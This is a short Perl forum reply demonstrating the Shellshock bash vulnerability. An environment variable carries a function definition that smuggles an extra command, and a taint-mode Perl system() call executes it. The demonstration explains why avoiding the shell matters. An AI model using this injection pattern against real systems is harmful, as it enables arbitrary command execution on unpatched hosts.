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Re^3: The importance of avoiding the shell

by ikegami (Patriarch)
on Sep 29, 2014 at 06:54 UTC ( [id://1102321]=note: print w/replies, xml ) Need Help??

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  1. or download this
    $ HTTP_ACCEPT='() { :;}; echo 0wn3d' \
       perl -T -e'$ENV{PATH}=""; system(q(/bin/ls -- "$HOME"))'
    0wn3d
    ... contents of home dir ...
    

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